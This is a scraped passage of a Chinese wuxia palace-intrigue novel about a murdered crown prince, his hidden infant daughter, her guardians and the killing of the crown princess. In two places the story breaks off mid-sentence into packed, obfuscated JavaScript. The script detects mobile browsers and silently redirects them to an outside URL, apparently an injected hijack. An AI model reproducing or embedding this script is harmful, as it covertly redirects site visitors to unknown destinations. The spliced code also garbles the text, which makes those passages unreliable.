点亮烛台灯,黑黢黢的屋子里便有了光亮,照见了他的脸庞,原来此人正是林啸。太子被害、沐灏天也逃走后,他也出去在城郊某处躲藏了一段时间,在外见没什么大的动静,这夜又悄悄溜回来想取点东西。 东西很快装进包裹里,这时又看见墙上挂着的一只洞箫,于是取下,双眼凝视,想起什么,不由眼含热泪,无语凝噎…… 正要出门,忽然觉察到什么,连忙压着嗓子说:“谁?”同时将烛灯一吹,屋子又重新回到了黑暗。 说时迟,那时快,里屋竟有几个黑影窜了出来,扑向了林啸,林啸暗道一声“不好”,下意识地将手中的包裹朝对面一扔,飞起一脚,就踢翻了一个人。 其余人又扑过来,林啸展开拳脚就与对方打了起来,屋里噼里啪啦响,条凳茶盘到处乱飞。林啸不敢恋战,瞅准机会,破窗而出,在院里一个打滚站起,然后双手一展飞上墙头。 不料,林啸刚飞上墙头,墙头那里就冒出一个人,一掌就朝林啸胸口打来,林啸没防着,胸口挨了一重拳,就仰翻下去,摔在院子里的水缸上,将水缸砸得粉碎。 林啸一个鹞子翻身站起,等墙头那人刚落地,他唰地腾飞过去就是一拳,对方双手交叉一挡,不料林啸的另一只手趁势就抓,这是他练的鹰爪功,只听“噗嗤”一声,对方胸前的衣衫就被扯掉一大块,这时,那人挥手啪地给他一巴掌,娇声喝道:“流氓!” 林啸听出对方原来是个年轻女人,正在愣着,屋里蹿出几人已扑向他,他没反应过来,被那几个武士一下扑倒在地,先去那个骂他的女人刷地抽出一把短刀,刀尖直抵他脖子,厉声喝道:“别动!” 林啸望着鼻子下亮闪闪的刀尖,脑子里迅速转动着,不露声色地问道:“这位女侠好身手,敢问你们究竟找谁?” “你就是林啸?”女人喝道。 林啸一听,彻底绝望,脑子里闪过两字:“完了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885046|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那女人看上去像个头领,她见林啸不吭声,然后对周围那些武士吩咐说:“绑了!” 几个武士就拿出绳子,正要去套林啸脖子,林啸忽然伸出拳头朝两边一擂,然后翻身跃起,顺手抓过一个条凳就朝对方扫去,将前面两人扫倒在地。 接下去,林啸又抓起一个花缸,正要朝另外的人猛砸,这时那女侠忽地喝道:“好汉住手,别打了!”然后忽地蹿过来,抓住林啸的衣领压着嗓子喝道,“是皇后找你!” 林啸一听此话,立刻就什么都明白了,这个问题此前已在他脑子里不知过了多少遍,现在看来,吴氏果然不甘心,于是他放下了花缸,点点头,跟着他们而去。 出了院子,院子外竟然还站着黑麻麻的一群人,林啸一看,暗想:我去!先前还想逃,怎么逃得出?幸好这些都不是想要他命的人! 为首的那女人的确就是米莲,她将手一挥,那群黑麻麻的人便迅速散去,消失在暗夜里,然后,就只剩下米莲几个人,领着林啸,悄没声儿地朝皇宫方向疾速而去。 …… 一进寝宫,林啸果然见到吴氏,连忙叩拜,接着就看见旁边的颜长史和吴相国,他脱口而出:“啊呀,颜长史,听说你去了相国府,原来是真的?” 颜长史习惯性地将手指放在嘴上一嘘,然后就笑笑。 这时吴氏见米莲胸前的衣衫被撕下一大块,奇怪地问:“怎么啦,你这里……”用手指指胸口。 米莲恨恨地瞪了林啸一眼,吴氏见状,立即明白了,她转而望着林啸,说:“不愧为太子叶坤的近身侍卫,是你米莲轻视他了吧?” 米莲忸怩着不吭声,转身去后面换衣衫去,还回过头瞪了林啸一眼,大有“此仇不报非君子之意”,让林啸憋着差点没笑出来。 “对了,”这时吴国成对林啸说,“今天皇后把你召来,一是因为你身份特殊,皇后怕你遭遇不测,已为你安排后路;二是因我等都同属太子一党,太子对我等有知遇之恩,现在太子遇害,我们自当要努力查出凶手,以告慰太子的在天之灵……” 林啸点点头,说:“这是自然,太子生前的确待我林啸不薄,我愿效犬马之劳!” “好!”吴氏说,开始发问了,“林啸,我且问你,太子妃生下孩子那天,你就在东宫里,后来那孩子不见了,你知道孩子去向吗?” 林啸爽快地说:“知道!” 吴氏一听睁大了眼睛,连忙问:“孩子在哪?” 林啸说:“太子妃刚生下孩子的第三天,太子就被王智鹏王公公传到先帝那里去,当时我也跟随而去,临走时沐兄曾把我叫到一边,称为防不测,他准备把孩子藏起来,一有不好消息就会将孩子带走……后来,事情果然出现变故,我想肯定就是他把孩子带走的吧。” 吴氏又问:“带到何处?出宫了吗?” “带到何处我就不清楚了,”林啸摇摇头,“当时情况紧急,我也来不及多问……后来我也在怀疑,这沐兄带着襁褓能出宫吗?不过转而一想,他武功那么高,胜出我许多,也许斗得过那两个神兽。” 大家都沉默起来,过来良久,吴氏想起什么,又问:“叶坤的贴身侍卫里还有些什么人?我曾记得,好像还有个姓洪的,叫洪……什么?” 林啸一听,头嗡地一声,心跳马上加速,他努力地告诫自己:林啸啊林啸,一定要稳住,那是个天大的秘密,绝不能示人的秘密! 他摇摇头,装着什么都不知,淡然地说:“我没这印象了,那是再早之前的事了吧?跟后来的事没什么关系了……” “是吗?”吴氏盯着他说。 “这个?……”林啸想了想,仍然摇摇头,“我真记不得,那人很早就离开太子府了……” 于是吴氏不再深问,转过话题说:“太子遇害一案,刑部在查,但我不指望他们能查出什么来,我倒是把希望放在你们身上,我就这么一个亲生儿子,你们要帮我啊……”说完眼眶就红了,掏出手帕来揩擦。 以吴相国为首,三人连忙对吴氏拱手道:“皇后勿过于忧伤,我等愿意听从皇后差遣,帮忙查出真凶……” 10. 潜返京都 救太子妃 三人告辞太后,跟随李公公从太后的千寿宫出来时,正遇月亮从云层里钻出来,皎洁的月光洒满大地。林啸不由抬头望去,心里喃喃说道:“沐兄啊沐兄,你现在究竟在哪呢?孩子还好吗?” …… 远在千里之外的魏国蜀都城郊外,那天上的月亮同样地明亮,照耀另一个人的脸,脸上是刚毅的表情,前额的头发在微风中轻轻地飞舞飘摇,似乎在陷入沉思。 此人正是太子的贴身侍卫、林啸的同僚沐灏天,现已化名“逸风”。隐姓埋名的他从悒国皇宫中逃跑时,虽然带有足够的银两,但他不敢去抛头露面做营生,只在郊外偏僻处置了一块地,建了几间茅庐,学着卧龙岗的诸葛草庐那般,过起隐居生活来。 他甚至还在堂屋里挂上诸葛亮《出师表》中的句子—— 臣本布衣,躬耕于南阳,苟全性命于乱世,不求闻达于诸侯…… 平日里,他就与媚儿为伴,一道耕种田地,一个扬锄,一个拔草,累了就在地边田埂休憩片刻,逗逗襁褓里的孩子。 到了晚上,媚儿就照顾孩子睡觉,沐灏天就拿出藏于席下的宝剑,一人在旷野里练练剑术,或抬头望着空中的圆月,以及那些数不清的星星,联想着在昆仑隐居高人氼影处看过的天体图,错落有致的星灯正是天上星宿的位置。 他还记得老人家说过的话,于是默默地重复说:“紫宫为皇极之居,其他各有方位,此等星宿,在野拟物,在朝拟宫,在人拟事,各有征兆,疏而不漏矣!” “在嘀咕什么呢?”这时媚儿从院门那边过来了,撑着沐灏天的肩头在他旁边坐下,也抬起头望着天空,道,“喲,好多星星!” “孩子睡着啦?”沐灏天问。 “废话!”媚儿娇嗔道,“孩子没睡着,我怎么能抛下她一人跑过来?” “其实,这孩子并没真正睡着,”沐灏天神秘地一笑,压低嗓子说,“你信不信,她这会儿正在玩你给她做的小绢人呢。” 媚儿一听,惊讶地望着沐灏天,不相信地说:“不是吧,你怎么知道的啊?” 沐灏天说:“我们发现了两次,第一次是你刚出来,我进去拿茶盅喝水,就看见她一人在玩小绢人,嘴里还咿咿呀呀的;第二次也是,你刚出来,我恰好忘了拿剑,就回屋去,也发现她……” “孩子那么小,为何要装呢?” “也许她见你白天太辛苦,晚上就想把时间和空间多留点给你吧,这丫头懂事得很呢……” “你就蒙我是吧?”媚儿娇嗔道,“我才不相信你这些宽慰我的鬼话呢!” “不信我们去瞧瞧,这会儿她保管又在玩小绢人了!” “走啊,若你哄我,看我怎么收拾你……” 于是两人起身,蹑手蹑脚朝屋子走去,轻轻地推开那门,媚儿仔细一看,一下惊呆了,那孩子果然正手拿小绢人玩着,嘴里咿咿呀呀的像在说什么,一见她的媚娘进来,便把小绢人往被盖里一藏,脸蛋儿傻笑着…… 媚儿呆呆地望着这个孩子,慢慢地,泪水就从眼眶里流淌下来,她忍不住扑上去搂抱着孩子,使劲在她脸上亲着…… 此时此景,一旁站着的沐灏天眼睛也红了,也忍不住走上前去,用手指轻轻地挠下她的小脸蛋,喃喃地说:“呵呵,我们萌宝宝、小乖乖,快快长大吧……” 媚儿一听他这话,一把将他结满老茧的大手拨开,道:“我才不希望她快快长大呢,倒愿意她永远就像这样躺在我怀里,像现在这乖巧模样的小人儿,难道不好吗?” 沐灏天就不言语了,只抬头望着黑黢黢的窗外,月光映照着遥远天边有淡淡山影的地方,那就应该是昆仑山的古楼峰方向,他凝视良久,这才说:“我是希望她长大一点,好让她拜那位昆仑高人为师,学点绝活,今后不至受人欺负啊……” 媚儿一听,这才回过神来,感慨道:“是啊,那位尊者,的确不是一般凡夫啊!” “啊啊啊……”怀里的女孩儿此时竟提高嗓音唱和起来,惊得媚儿张大嘴巴,掉头去看沐灏天,并用手指指婴孩,沐灏天也被这幕惊得目瞪口呆…… 翌日一早,沐灏天和媚儿的剑就藏起来了,而是一人拿镰刀、一人拿锄头出门到田地里开始劳作。 叶子萌此时只有一岁多,媚儿劳作时就将她兜在胸前,这女孩儿也不哇哇乱哭,而是乖乖地被她的慧娘荡来荡去,偶尔咿咿呀呀地呢喃着什么,还咧开嘴嘻笑起来,口水就流在下巴上,亮晶晶的,让媚儿看着就忍不住抿嘴微笑,心疼得不行。 中途休息时,媚儿逗着孩子,沐灏天则一声不吭地望着天边。媚儿见状,便说:“我发现这几天你一直都这样,好像有何心事,说吧,你想做什么?” 沐灏天拗不过她了,便说:“媚儿,我们这样下去也不是个办法,我还是想开个武馆,收一些徒弟,有个稳定的收入来源,否则我老是觉得对不起你,让你跟着我受苦。” “你疯啦?”媚儿说,“不怕暴露了身份?” 沐灏天似乎已想过这个,说:“都已过去一年多时间,也没见有什么动静,当然,之前我还是想先去悒国京城看看,打听打听情况再说,说不定还能碰上林啸呢。” “那个地方太危险了,”媚儿说,“我放心不下呢。” “应该不妨事,”沐灏天宽慰她说,“我化妆前去,以前我就做过暗探,懂得怎样保护自己,再说……”他迟疑住。 媚儿掉头望着他,道:“怎么不说了,‘再说’什么?” “再说,”沐灏天的语声放低了,“我想看看能否打听到孩子生母的消息,也不知她现在在宫中怎样了?” 媚儿一听沐灏天提到太子妃、也即她姐姐,就有些伤心起来,末了点点头,小声说:“好吧,你去吧,注意安全,早些回来,我们在家等着你……” 沐灏天点点头,又低头去看孩子,望着她那双亮晶晶的眼睛,用柔和的声音小声说:“萌娃娃,我去寻找你妈妈,你在家等着我回来哦……” 一岁多的叶子萌呢,似懂非懂地眨了眨眼睛。 …… 在悒国京都的街市上,走着个挑着山货的、衣衫简陋的人,边走边四处张望,偶尔嘴里发出吆喝声:“买菌菇咯,快来买新鲜的菌菇……” 这人正是武功高强的沐灏天,破烂的草帽下有着一双机警犀利的眼睛,随身也不带任何武器刀剑,只有一双藏于衣袖里的铁拳头。 不一会,他进入一条小巷,在一家门户外放下担子停住歇脚,这曾是林啸的住处,两扇门紧闭上锁,墙头也已长草,有些荒凉,一看就知很久没住人,看来林啸早没住这里了。 他还在人世吗?这是沐灏天冒出的第一个念头。 沐灏天十分谨慎,不敢贸然去向邻居打听,只是默默离去,挑着担子朝皇宫方向慢慢行去…… 一会,高大威武的皇宫便呈现在眼前,沐灏天望着这个熟悉建筑,以前那些往事又浮现出来,太子叶坤和李慧儿的身影也在眼前晃动,明明白白的就像昨天的事儿似的。 突然,沐灏天看到一个似曾熟悉的身影,定睛一看,原来是一直侍奉太子妃李慧儿的宫女浣菱,才一年多不见,衣着粗糙暗淡的她就变得这般憔悴,这不由让沐灏天心里一紧。 他见浣菱拐了个弯,走进一家药铺,于是悄悄跟随过去,在药铺门外一丈远的地方放下挑子,然后拉低草帽檐,开始四下打量观察。 一会,浣菱从药铺出来,朝皇宫方向返回,快走近沐灏天时,沐灏天吆喝一声:“买菌菇咯,新鲜的菌菇……” 浣菱掉头瞥了一眼,看见了沐灏天,感觉眼熟得很,于是放慢脚步,仔细再看,忽然愣住,张大了嘴巴,沐灏天忙把手指放在嘴上,示意她别出声。 “新鲜的菌菇,来看看……”沐灏天对她笑笑说。 浣菱明白过来,于是左右瞧瞧,然后走近前来,蹲下身拿起菌菇看,嘴里小声说:“怎么是你,到处都在抓你,你跑来这里干什么,不要命啦……” “无妨,他们抓不着我,况且都一年多了,”沐灏天压低声音说,又问,“太子妃可还好?” “她不好,”浣菱摇摇头,“尤其是身体很糟糕……” 沐灏天一听便紧张起来,浣菱瞟他一眼,不敢告诉他太子妃已患绝症的事,只是随口说:“病了御膳房都不管,也不给药,我只好疏 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“沐灏天,”浣菱说,“你与我们娘娘究竟是什么关系,宫中盛传的那些传言背后究竟是什么……这些我都不管,但是我们娘娘不是一般人,宫中守卫森严,她怎么出得了宫?那可是杀头的大罪啊!” 沐灏天沉默了,他不想、也没时间给浣菱解释这些,于是说:“你回去后告诉她,我会想办法救她离开那鬼地方的。我知道你对她忠心,而且我告诉你,你帮她,也是等于在帮自己!” 浣菱沉默了,不再说什么,站起身要走,沐灏天忙说:“等等……”然后从筐里挑选了一朵最大的菌菇,塞到浣菱手里,“拿回去给你们娘娘,她会明白的。” 浣菱点点头,手握菌菇,然后转身朝皇宫方向匆匆而去。 进宫时,守卫检查了浣菱手里通行腰牌,以及那包药和那朵菌菇,这才放行,然后望着她背影,对另外一个守卫摇摇头说:“唉,太子妃现在真可怜!” “慎言!”另一名守卫环视左右小声说。 …… 太阴宫里,李慧儿正倚靠在床头,脸色青灰,头发蓬松,全无昔日太子妃的风采,而且由于想念孩子,时常哀伤啼哭,已变得十分憔悴,要不是宫女浣菱十分机灵,悉心照料,结果不堪设想。 她正在咳嗽,这时外出检药的浣菱回来了,把一包药放在几案上,然后坐在床边,把手上的那朵菌菇递给了她:“娘娘,这是宫外有人给你的……” 李慧儿慢慢扭过头,接过菌菇,仔细一看,这东西很熟悉,她们家以前曾经种植过,买回菌棒就在后院栽培……她想起什么,一愣,脱口说:“是沐灏天,他来京城啦?” “嘘!”浣菱忙把手指放在嘴唇上,同时朝窗外瞅一眼,然后对李慧儿点点头,压低声音说,“是他,他让我告诉你,他们现在已在魏国,孩子由你姐姐带着,要你放心……” 李慧儿一听,顿时来了精神,撑起身来,抓着浣菱的手又问:“他还说什么?他为何要来京城,不知现在朝廷在到处抓捕他吗?” “他知道,这话我也对他说过,”浣菱说,“但他很执拗,说自己不怕,还说要进宫救你出去……” “这个沐灏天真是糊涂!”李慧儿说,“他在宫中呆过,难道不知道这宫中藏有一个绝世高手‘白绫蛇圣’?那可是比神鹰厉害得多的角色!再说,他想过没有,要是他出事,那孩子怎么办啊?唉……” 浣菱瞧着情绪激动的李慧儿,犹犹豫豫地不吭声了,半晌才说:“可是,我……我不小心已告诉了他,现在我们的住处就在这太阴宫,怎么办?” “啊?”李慧儿有些着急,皱着眉头思索着,忽想起什么,对浣菱说,“你去把少正少夫叫来。” 浣菱点点头,出门,少倾,带来两名侍卫,自从搬出东宫来到这偏僻的太阴宫,其他人都走了,就只是宫女浣菱和这两位侍卫,他俩原是太子叶坤培植的死士,李慧儿让他俩离开太阴宫,该去哪去哪,可是他俩死活不走,说是太子对他俩有恩,他俩要报答主人。 两人一进门就对李慧儿拱手道:“娘娘,有何吩咐?” “你俩近前来……”李慧儿对他们招招手,然后附在他们耳边悄悄说起来…… 11. 太子妃薨,魂断彩桥 隔日就是叶炫的登基大典,他早盼晚盼地终于盼到大典举行。吴氏推托身体不适,并未现身,唯叶炫、叶真率文武百官到了现场,开始举行祭祀天地的宏大仪式。 叶炫先是穿孝服祭祀列祖列宗及各路神灵,彰显了自己君权神授的神圣地位,接着才拉开了典礼的序幕。 首先是礼部各级官员鱼贯出场,排着长队先到天坛、农坛及太庙周遭,以示告知先皇英灵,新君继位。 接下去,钟鼓忽鸣,伴着气势恢宏的钟声,叶炫换上了特制的衮冕礼服登台祷告,下面官员按官职高低有序地跪在御道两侧,等新帝向天地祈祷完毕,进入大殿坐好,这才鱼贯而进向新君朝贺。 此后,司礼官在大殿当众宣读叶炫的继位诏书……至此,叶炫正式成为新皇帝,称悒文帝,改国号为建阳。悒国的宏大宫殿在声声号角中,越发显得威严森森,魏国等友邦邻国的来使,也臣服在这种威严的气氛中。 然而,就在这钟鼓鸣放、百官朝贺的当下,一幕让人意想不到的事情发生了,这时,殿外有两名配刀死士护着一个披头散发的女人呼号着冲进大殿来。 殿内侍卫见状,纷纷拔出刀剑,拥上前去阻挡,只见两名死士挥刀就砍,其中一个侍卫手臂受伤,血溅一地,同时那女人冲上殿前,冲着叶炫大喊:“奸贼,还我孩子!” 众百官大吃一惊,仔细一看,那披头散发的女人,原来竟是叶坤的太子妃李慧儿,只见她满脸污渍,双目圆睁,扑倒在殿前,嘴里大喊冤屈,斥责奸人当道,谋害太子,夺走婴孩,并大声呼号着,要吴氏替她作主。 正坐在龙椅皇位上的叶炫大为惊慌,心惊肉跳,他气急败坏地跳将起来,大喊左右:“快快快,快将疯妇拿下!” 四周侍卫又冲上前去,围住两名护卫死士,一番恶斗之后,两名死士终于被擒拿,其余侍卫也抓住了太子妃李慧儿,叶炫气得大叫:“把那两个关押进大牢,严加审问,把这搅局的疯妇拖出去,斩……!” 侍卫正要拖李慧儿出去,王公公这时突然将拂尘一挥,大声阻止道:“且慢!”然后掉头望着叶炫,摆手道,“陛下……” 大殿下两旁站着的文武百官也纷纷上前,奏道:“陛下,使不得,使不得,太子妃这事,最好要先禀报太后,听听她旨意……” 叶炫一听“太后”二字,心头一震,顿时回过神来,沉思片刻,然后悻悻说道:“将这疯妇暂时押下去,等候发落……” 与此同时,殿前一旁的三皇子叶真也吓得惊慌失措,跌倒在地,并用袖袍遮挡住了自己的脸……不过,在他用袖袍遮挡着脸的那瞬间,他的眼睛闪出一道阴暗狡黠的光。 …… 登基大典结束,百官散朝,作为刚登基的新皇帝,叶炫在太监宫女的簇拥下,前往千寿宫拜见吴氏,吴氏自然也成了皇太后,太子妃李慧儿大闹典礼的消息早已传到她耳里,她嘴角闪过一丝儿狡黠的狞笑。 新皇一去,告诉太后李慧儿疯癫搅局之事,太后早已把先前的表情收了,然后变得一脸阴沉,叹着气说:“唉,大典就让这李慧儿给糟践了,她真是疯了……” “谁说她已疯,她这是存心的!”叶炫说。 太后不露声色,望着他道:“怎么讲?” 叶炫愤愤然地将袖袍一甩,说:“她早不疯,晚不疯,今天我一登基她就疯了,还找来太子以前的两名死士进殿大闹,可恶之极!此等罪妇,留着就是祸患,真该满门抄斩,以示我皇威!” “满门?还抄斩?”太后指着他脑门恨恨地说,“唉,你呀!你没听御医说她患了绝症吗?她倒是早不想活了,你皇兄的死还未查出端倪,她的孩子明浩公主也下落不明,你说她还想活着做甚?” “这……”叶炫停顿下来。 太后又说:“你倒好,可以一道圣旨传下去满门抄斩,抄斩谁啊?你倒简单,可是这骂名从此就背上,再也无法洗脱嫌疑了,那时,不都会说你是争权夺利、篡夺皇位,才对太子叶坤痛下狠手的?” 叶炫一听,脑袋嗡嗡作响,似觉得太后这番话在试探自己,于是额头冒出细汗。他不知该说什么,也不知该怎么办,就像个烫手山芋放在了他手上,吞也不敢吞下,扔了又麻烦得很,禁不住咬牙切齿说:“此疯妇乃大不祥!” 这时太后问:“你把她关在了哪?” 叶炫说:“还是回了她的太阴宫,派人守着。” “走,”太后说,“哀家倒要去看看她。” “母后,”叶炫劝道:“还是不劳烦你了,那个地方更不祥……” 太后站起,将袖袍一挥,用手指戳戳地说:“自从你皇爷手上的镇国之宝玉皇鼎丢失,龙脉也未寻着,这皇宫里什么时候祥瑞过?” 太后说的镇国之宝玉皇鼎,叶炫也似有耳闻,他问:“据说当年先帝还是小孩时,先帝的父皇、也即我的祖皇帝正率兵联合魏国与北旗打仗?” “是啊。”太后说。 “祖皇帝的国师周文凯携镇国之宝玉皇鼎前往昆仑山寻龙脉,不料龙脉未找着,玉皇鼎也丢失了,连国师周文凯的尸骨也未有踪影,从此悒国难有安定?” 太后道:“我虽然不太相信什么一块玉石就能起到镇国作用,但是毕竟后来悒国出现了这么多的事,让人心里不安啊……” 叶炫无奈,只好陪着太后往太阴宫去。 辇轿里,太后由米莲陪着,去太阴宫必路经一桥,米莲撩开帘子,见到此桥,便对吴氏说道:“太后,我听人说,这座桥称彩虹桥,乍一听倒还喜庆,但是宫中的人都不愿意经过这里,说这其实是‘踩魂桥’,凡经过此地之人,无论身份有多尊贵,一不小心也容易被夺去魂魄,除非你修行深厚,才能化为吉祥?” “唉,”太后想起了遥远的往事,说,“叶炫的祖皇时代,有个贵妃曾被打入冷宫,这贵妃会武功,平时骄横,经过这‘踩魂桥’时,忽然发疯一般大叫一声,挥拳朝桥栏一石狮打去,石狮断头,她也瘫软下去,从此失魂落魄,不久后竟挂绫自缢。” “哦?”米莲听得心惊胆颤。 现在,太后经过“踩魂桥”,桥栏上的那个断头石狮还在,她有点不信邪,竟下了辇轿,缓缓过去,抚摸着那个断头石狮,就像在抚摸着苍凉岁月,让她百感交集。 过了好一会,叶炫提醒她道:“母后……” 太后回过神来,这才又重新上了辇轿。 …… 太阴宫里,李慧儿失神地坐着,脸色更是难看。 宫女浣菱在一旁静静地望着她,迟疑片刻,说:“娘娘,你为何要大闹朝堂,是故意想把事情闹大传出宫去吗?沐灏天即或知道了,又怎样?他会乖乖地返回魏国吗?……” 李慧儿无可奈何地叹了一口气,轻轻地摇摇头,然后转身抓着浣菱的手说:“他千万不能进宫来救我,救我这半条命的人没有任何意义,他现在的任务就是好好地把孩子抚养大,这才是我最大的心愿!你若能出宫见到他,一定要把我这心愿告诉他……” “嗯……”浣菱若有所思地点点头。 李慧儿又说:“妹妹,你记住,以后若有人问起你什么事,你要一概不知;另外,倘若我哪天遭遇不测,你要记得帮我去寻找孩子,只要找到沐灏天,就一定能够找到她……”说着一阵猛烈的咳嗽。 浣菱鼻子一酸,眼睛就红了…… 正在这时,忽然听见外面传来声音:“太后驾到!” 太后一行这会儿已到太阴宫,一推开门,里面院落的冷清景象扑入眼帘,太后一行进得里屋,景象倒还没想象中那么糟糕,原来是贴身宫女浣菱几乎每天都在打理,并细心照顾着李慧儿。 这个浣菱不像东宫殿里其他宫女那样,“平时都是同林鸟,大难来了各自飞”,这点倒是让太后感到她为人果然不错。 自从太后把她送到东宫后,她开始服侍着快生孩子的太子妃,做事稳妥,计划周详,很受太子及太子妃的信任,在别的宫女看来,前途不可限量,谁知现在造化弄人。 见太后本人亲来,浣菱吃了一惊,连忙站起施礼。而坐在镜前的李慧儿,这时则披头散发,两眼失神,只痴痴地盯着镜里的那个“怨妇”,像是对周遭之事浑然不觉。 这副情景让人觉得委实可怜,太后的心似软了一下,她慢慢走过去,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885048|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻扶住这个儿媳妇的肩头,嘴里说道:“唉,苦命的孩子……” 李慧儿仍然痴痴地盯着镜子,像没太后这个人似的,这让站在门口的叶炫见了,有些不耐烦,趁机挑拨说道:“疯了,疯了,此妇如此无礼,母后还眷顾她何用?” 你道这太后真的心疼这儿媳?非也,她是在装,装出对儿媳怜悯的样子,好博得她的好感,然后看看能否套出她一些其他什么秘密。 但是,此时此刻的李慧儿并不为此所动,似乎铁了心,不再去相信任何人,还瞥了太后一眼,又把头掉开。 这绝决的动作和有些嫌弃的眼神,让太后失去了最后的耐心。这时,太后忽然像发了臆症一般,一下暗暗掐住了李慧儿的手掌虎口,咬紧牙恨恨地说道:“哀家知道,你是在装疯,你其实没有疯,你骗得了别人,可骗不了我……” 李慧儿忍住痛不吭声,但是太后倒是像已经疯了,更加用劲地掐着,掐得李慧儿生痛,不由尖声叫起来。 可是太后不但没松手,反而更加用力,发疯似地大声嚎叫起来:“说,是不是你勾结他人害了我儿子?是不是你把明浩公主藏了起来?是不是你与那侍从沐灏天有奸情?……” 这个突如其来的场面旁人谁也没料到,全都傻了眼,连叶炫也惊呆了,他惊恐地望着疯狂的太后,一时不知该怎样才好。 这时,李慧儿终于被太后掐得忍受不住了,她大叫一声,返身扑向了太后,扯住了她的发髻,两人便在那里疯狂地撕打起来…… 吓呆的叶炫此刻回过神来,心里暗想:正好除了这疯妇!于是随手从旁边一个侍卫腰间拔出剑来,朝李慧儿前胸猛地一刺,李慧儿痛苦地叫了一声“苍天啊”,就满身是血地往后倒下…… 她的眼前浮现出当初在东宫她床榻前,沐灏天抱着襁褓与他告别的情景,现在,她似觉得他们还在眼前,于是她硬撑着身子,伸出颤抖的手,想最后摸摸孩子、她的亲生骨肉,可是她老也够不着……于是她手一软,终于倒下,没声响了。 一旁的宫女浣菱惊叫道:“娘娘……”便扑了过去,用手试试李慧儿的鼻息,没气儿了,正在这时,自己后背也被刺了一剑,她惨叫一声,身子瘫软,昏死过去。 叶炫连连大喊:“来人啊,快快,快将太后扶出屋子上轿……” 太后却一把推开他,大声呵斥道:“谁叫你刺她的?快看看,她怎么样了?” 两名侍卫便上前来,推开宫女浣菱,用手试试李慧儿的鼻息,发现已经没气儿了,于是站起对太后摇摇头。太后一看,后悔得肠子都青了,于是绝望地用手捧住了自己的头,哭叫道:“哎呀,这作的什么孽啊……” 米莲这时从外面快步赶来,与众人一拥而上,将太后扶走,叶炫也将袖袍一甩,离开了这不祥之地,临走时还恨恨地命护卫道:“再去补她两刀,以防诈尸……” 回去时又路经踩魂桥,这时空中忽然响起一声炸雷,吓得太后不由浑身一抖!她撩开辇轿帘子,一眼就看见桥上那个断头石狮柱,她呆呆地望着,忍不住泪水涟涟…… 空中又是一声炸雷,这回吓得新皇叶炫浑身颤抖,心惊肉跳,他不由撩开帘子,吩咐抬轿的太监:“快走快走,一刻也不要停留!” 雨,开始哗啦啦地下,下得愈来愈大,周围景物都模糊起来…… 太子妃大闹登基大典、被新皇赐死的消息,很快传到宫外。在一家茶肆里,沐灏天正在独自谋划,他知道进宫救人不易,弄不好还会全都把命搭上,所以计划必须周密…… 他望着外面密密匝匝的瓢泼大雨,正在思索,忽有一汉子冲进茶肆,嘴里喊道:“不得了了,听说宫中又出事了……” 沐灏天顿时有了不祥的感觉,忙拉住那人问道:“这位大哥,宫中出了何事?” 其他人也围了上来,纷纷打听,那位汉子抖抖身上的雨水,惊恐地说:“先帝刚驾崩,太子也被害,凶手还没查出,现听外出采买的太监说,太子妃又遭横祸,她去新皇的登基大典大闹,被新皇赐死了……唉,我们悒国恐怕是大不祥啊……” 沐灏天一听,就像头上响起晴天霹雳,呆在了那里。 12. 子萌拜师,初露武功 那汉子与那些围观者还在继续议论纷纷,沐灏天却回到自己坐位,头脑嗡嗡地响着,一个念头闪现出来:浣菱回去究竟给太子妃说了什么,她为何会去大闹朝堂?难道是不想让我涉险而故意为之? 之后,失魂落魄的沐灏天返回魏国,回到蜀都郊外自己的家,见到媚儿,对她讲了事情经过,边讲边流泪,末了摇摇头,痛苦地说:“本想救她,可是现在看来,是我害了她啊……” 媚儿听了姐姐的惨况,忍不住嚎啕大哭,沐灏天连忙扶住她肩头劝慰,她却挡开,并顺手给了他一巴掌,哭着叫道:“就是你害了他,你还我姐姐来……” 沐灏天没料到,捂着火辣辣的脸望着悲痛欲绝的媚儿,然后上前去,抓着她的手往自己脸上打:“你打吧,打我吧,如果不是我的鲁莽,你姐姐也不至于落得这个悲惨的下场,还是怪我考虑不周啊……” 媚儿甩开了他的手,冲出门,疯了似的跑掉了,似乎再也不愿见到他! 沐灏天浑身冰凉,想去追她,看看床上的孩子,又停了下来,俯下身看孩子,孩子还在睡,小嘴巴一呶一呶的,根本不知这世间发生的事,也不知自己从此再无母亲。 晚上,沐灏天一人抱着哭啼的孩子,正在不知所措时,媚儿又悄无声息地回来了,走进屋子,从他手里夺过孩子,然后推开他,抱着孩子小声哭泣起来,原来,她实在是舍不得丢下这孩子! …… 岁月一晃几年过去,在西南群山之丘的蜀都郊外,叶子萌慢慢长大,有六七岁了,已化名“燕儿”,正跟着化名“逸风”的沐灏天在那里习武练剑。她长得聪明伶俐、乖巧可爱,深受沐灏天和李媚娘的疼爱。 “燕儿,爹爹在昆仑山给你找了个师父,过几天带你去,如何?”沐灏天说。 “昆仑山?好呀好呀!”叶子萌觉得蛮新鲜好奇的,“他的功夫比起爹爹你,谁更厉害呀?” 沐灏天说:“那可是个世外高人,宗师级别,爹爹哪敢与他比,就是加上你娘亲,再加上10个武功高手,都不是他的对手呢!” “哇!”叶子萌叫道,又掉头望着一旁的媚娘问,“娘亲呀,爹爹不会是在逗我开心吧?” 媚娘微微笑道:“乖女儿,爹爹说的都是真的,在那些士子笔下都有记载;只是那地方在山里,比较辛苦的,你愿意去学吗?” 